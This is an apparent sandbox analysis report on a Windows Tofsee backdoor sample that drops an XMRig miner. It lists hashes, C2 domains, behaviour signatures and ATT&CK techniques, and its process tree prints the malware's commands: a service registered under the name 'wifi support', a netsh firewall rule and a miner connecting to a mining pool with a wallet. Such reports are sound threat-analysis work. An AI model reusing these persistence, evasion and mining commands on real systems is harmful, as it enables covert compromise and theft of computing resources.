Overview

overview

10

Static

static

dridex

windows10_x64

10

Analysis

  • max time kernel
    157s
  • max time network
    156s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    27-11-2021 03:52

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General

  • Target

    5d85fc520db4cb002e23bdbf33c6d6397fdf12b2ffdb85eed406899127c722d6.exe

  • Size

    285KB

  • MD5

    ed0695c81af7e23c4525eb5f22552df0

  • SHA1

    e300941227ca26968bd3c74d4d0b15c3c0f5d14f

  • SHA256

    5d85fc520db4cb002e23bdbf33c6d6397fdf12b2ffdb85eed406899127c722d6

  • SHA512

    285be4ac891e7237c016a4559aba27e7c56c6cf085738c695d478a9885dfd075a588cce2f45d1041e0f2ee40e72c3e4721e79355e127b86697226f09838fb793

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

quadoil.ru

lakeflex.ru

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner Payload 3 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5d85fc520db4cb002e23bdbf33c6d6397fdf12b2ffdb85eed406899127c722d6.exe
    "C:\Users\Admin\AppData\Local\Temp\5d85fc520db4cb002e23bdbf33c6d6397fdf12b2ffdb85eed406899127c722d6.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3488
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jgbweisb\
      2⤵
        PID:2964
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\npjyuqmd.exe" C:\Windows\SysWOW64\jgbweisb\
        2⤵
          PID:1484
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jgbweisb binPath= "C:\Windows\SysWOW64\jgbweisb\npjyuqmd.exe /d\"C:\Users\Admin\AppData\Local\Temp\5d85fc520db4cb002e23bdbf33c6d6397fdf12b2ffdb85eed406899127c722d6.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1252
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description jgbweisb "wifi internet conection"
            2⤵
              PID:3852
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start jgbweisb
              2⤵
                PID:2808
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1068
              • C:\Windows\SysWOW64\jgbweisb\npjyuqmd.exe
                C:\Windows\SysWOW64\jgbweisb\npjyuqmd.exe /d"C:\Users\Admin\AppData\Local\Temp\5d85fc520db4cb002e23bdbf33c6d6397fdf12b2ffdb85eed406899127c722d6.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1800
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1328
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2192

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Initial Access

              Execution

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Credential Access

              Discovery

              System Information Discovery

              1
              T1082

              Lateral Movement

              Collection

              Exfiltration

              Command and Control

              Impact

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\npjyuqmd.exe
                MD5

                30a6f0182e82cf3e0c00b0a0eea4b142

                SHA1

                a22f62ef342515bb3108f6380444446a40279cce

                SHA256

                2746e3b01cc246a3bfe4bfa0ac780a567e36795f09e4818912b564031e9eb7cb

                SHA512

                9ccebb54c325f8923f85833aac844e8cf2bacb2042b7d296d8b28e74b0a06cd2340f118b01d590bda3c6528809e760c2a54f439488fa58879206e8fc20796b58

                Download Submit
              • C:\Windows\SysWOW64\jgbweisb\npjyuqmd.exe
                MD5

                30a6f0182e82cf3e0c00b0a0eea4b142

                SHA1

                a22f62ef342515bb3108f6380444446a40279cce

                SHA256

                2746e3b01cc246a3bfe4bfa0ac780a567e36795f09e4818912b564031e9eb7cb

                SHA512

                9ccebb54c325f8923f85833aac844e8cf2bacb2042b7d296d8b28e74b0a06cd2340f118b01d590bda3c6528809e760c2a54f439488fa58879206e8fc20796b58

                Download Submit
              • memory/1068-125-0x0000000000000000-mapping.dmp
                Download
              • memory/1252-121-0x0000000000000000-mapping.dmp
                Download
              • memory/1328-127-0x0000000002AD0000-0x0000000002AE5000-memory.dmp
                Filesize

                84KB

                Download
              • memory/1328-132-0x0000000002AD0000-0x0000000002AE5000-memory.dmp
                Filesize

                84KB

                Download
              • memory/1328-130-0x00000000009D0000-0x00000000009D1000-memory.dmp
                Filesize

                4KB

                Download
              • memory/1328-129-0x00000000009D0000-0x00000000009D1000-memory.dmp
                Filesize

                4KB

                Download
              • memory/1328-128-0x0000000002AD9A6B-mapping.dmp
                Download
              • memory/1484-119-0x0000000000000000-mapping.dmp
                Download
              • memory/1800-126-0x0000000001E11000-0x0000000001E21000-memory.dmp
                Filesize

                64KB

                Download
              • memory/1800-131-0x0000000000400000-0x0000000001BFD000-memory.dmp
                Filesize

                24.0MB

                Download
              • memory/2192-133-0x0000000002AD0000-0x0000000002BC1000-memory.dmp
                Filesize

                964KB

                Download
              • memory/2192-137-0x0000000002B6259C-mapping.dmp
                Download
              • memory/2192-138-0x0000000002AD0000-0x0000000002BC1000-memory.dmp
                Filesize

                964KB

                Download
              • memory/2808-123-0x0000000000000000-mapping.dmp
                Download
              • memory/2964-118-0x0000000000000000-mapping.dmp
                Download
              • memory/3488-116-0x0000000003910000-0x0000000003923000-memory.dmp
                Filesize

                76KB

                Download
              • memory/3488-117-0x0000000000400000-0x0000000001BFD000-memory.dmp
                Filesize

                24.0MB

                Download
              • memory/3852-122-0x0000000000000000-mapping.dmp
                Download